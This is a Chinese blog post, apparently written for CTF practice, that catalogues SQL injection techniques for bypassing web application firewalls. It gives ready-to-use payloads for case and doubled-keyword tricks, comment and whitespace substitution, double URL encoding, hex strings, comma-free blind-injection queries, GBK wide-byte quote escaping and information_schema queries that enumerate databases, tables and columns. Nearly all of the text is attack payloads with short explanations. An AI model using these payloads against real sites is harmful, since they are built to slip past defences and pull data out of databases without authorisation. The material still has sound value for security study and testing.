zoukankan      html  css  js  c++  java
  • SQL注入WAF绕过姿势

    1)大小写绕过

    此类绕过不经常使用,但是用的时候也不能忘了它,他原理是基于SQL语句不分大小写的,但过滤只过滤其中一种。 
    这里有道题

    2)替换关键字

    这种情况下大小写转化无法绕过而且正则表达式会替换或删除selectunion这些关键字如果只匹配一次就很容易绕过

    http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

    3)空格绕过

    payload

    select/**/*/**/from/**/yz;

    select%0a*%0afrom%0ayz; %0a 是回车

    /*!select*//*!**//*!from*//*!yz*/;

    select(a)from(yz);

    select(a)from(yz)where(a=1);

    4)替换关键字 


    这种情况下大小写转化无法绕过而且正则表达式会替换或删除selectunion这些关键字如果只匹配一次就很容易绕过

    SELselectECT 1,2,3,4

    5URL编码

    有时后台界面会再次URL解码所以这时可以利用二次编码解决问题 
    后台语句

    $insert=$link->query(urldecode($_GET['id']));

    $row=$insert->fetch_row();

    select * from yz

    select * from  %2579%257a

    6)十六进制绕过(引号绕过)

    SQL语句的数据区域可以采用十六进制绕过敏感词汇

    select a from yz where b=0x32;

    select * from yz where b=char(0x32);

    select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)

    select column_name  from information_schema.tables where table_name="users"

    select column_name  from information_schema.tables where table_name=0x7573657273

    7)逗号绕过

    在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()mid()这两个方法可以使用from to的方式来解决。 
    substr(),mid()

    mid(user() from 1 for 1)

    substr(user() from 1 for 1)

    select substr(user()from -1) from yz ;

    select ascii(substr(user() from 1 for 1)) < 150;

     

    同时也可以利用替换函数

    select left(database(),2)>'tf';

    selete * from testtable limit 2,1;

    selete * from testtable limit 2 offset 1;

    8)比较符(<,>)绕过

    同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greateststrcmp来进行绕过了。

    select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

    select strcmp(left(database(),1),0x32);#lpad('asd',2,0)

    if(substr(id,1,1)in(0x41),1,3)

    新学习了一种骚骚的注入姿势inbetweenorder by 
    select * from yz where a in ('aaa'); 
    select substr(a,1,1) in ('a') from yz ;

    select * from yz where a between 'a' and 'b'; 
    select * from yz where a between 0x89 and 0x90;

    select * from yz union select 1,2,3 order by 1; 
    也可以用like,根据排列顺序进行真值判断

    9)注释符绕过

    在注入时的注释符一般为# --当两者不能用时就不能闭合引号 
    这里介绍一个奇淫巧技 
    select 1,2,3 from yz where '1'/1=(1=1)/'1'='1' 
    (1=1)
    中就有了判断位为下面的注入打下基础

    10)宽字节绕过

    字节注入也是在最近的项目中发现的问题,大家都知道%df’ PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠,变成了 %df’,其中的十六进制是 %5C ,那么现在%df’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQLGBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df’ = %df%5c%27=,有了单引号就好注入了。

    注:`select`防止用户自定义的名称和mysql保留字冲突

    11with rollup

    一般结合group by使用

     select 1 as test from  yz group by test with rollup limit 1 offset 1;

    +------+

    | test |

    +------+

    | NULL |

    +------+

    12)无列名注入

    给未知列名起别名 
    select a from (select 1,2,3aunion select * from yz)v;

    13 判断列数绕过

    order by 被过滤后就可以使用into 变量来绕过 
    select * from yz limit 1,1 into @a,@b,@c;

    3.SQL注入知识

    1.SQL越界 ,也就是能执行自己的sql语句 
    2.
    盲注的话找一个点可以控制两种不同的反应 
    3.
    取数据并做真值判断 
    4.
    写脚本暴库

    上边是基于一般的注入题目的解题步骤,如果有特殊条件也可灵活变通

    mysql数据库元信息

    mysql中存在information_schema是一个信息数据库,在这个数据库中保存了Mysql服务器所保存的所有的其他数据库的信息,如数据库名,数据库的表,表的字段名称 
    和访问权限。在informa_schema中常用的表有:

    schemata:存储了mysql中所有的数据库信息,返回的内容与show databases的结果是一样的。 
    tables:
    存储了数据库中的表的信息。详细地描述了某个表属于哪个schema,表类型,表引擎。 
    show tables from secuiry
    的结果就是来自这个表 
    columns:
    详细地描述了某张表的所有的列以及每个列的信息。 
    show columns from users
    的结果就是来自这个表

    select database(); #查选数据库

    select group_concat(schema_name) from information_schema.schemata

    select schema_name from information_schema.schemata limit 0,1  #查询数据库

    select table_name from information_schema.tables where table_schema=database() limit 0,1;  #查询表

    select column_name from information_schema.columns where table_name='users' limit 0,1;  #查询列

     

  • 相关阅读:
    解析ASP.NET WebForm和Mvc开发的区别
    relink:在Linux/UNIX平台上relink Oracle软件(转)
    Java开发 Eclipse使用技巧(转)
    职场人生:情商
    RPC
    PLSQL Developer Debug
    uC/OS-III学习2::uC/OS-III LED闪烁实验
    Flex文件读取报错
    C++字节对齐问题
    写可測试的代码
  • 原文地址:https://www.cnblogs.com/qingwuyou/p/10687462.html
Copyright © 2011-2022 走看看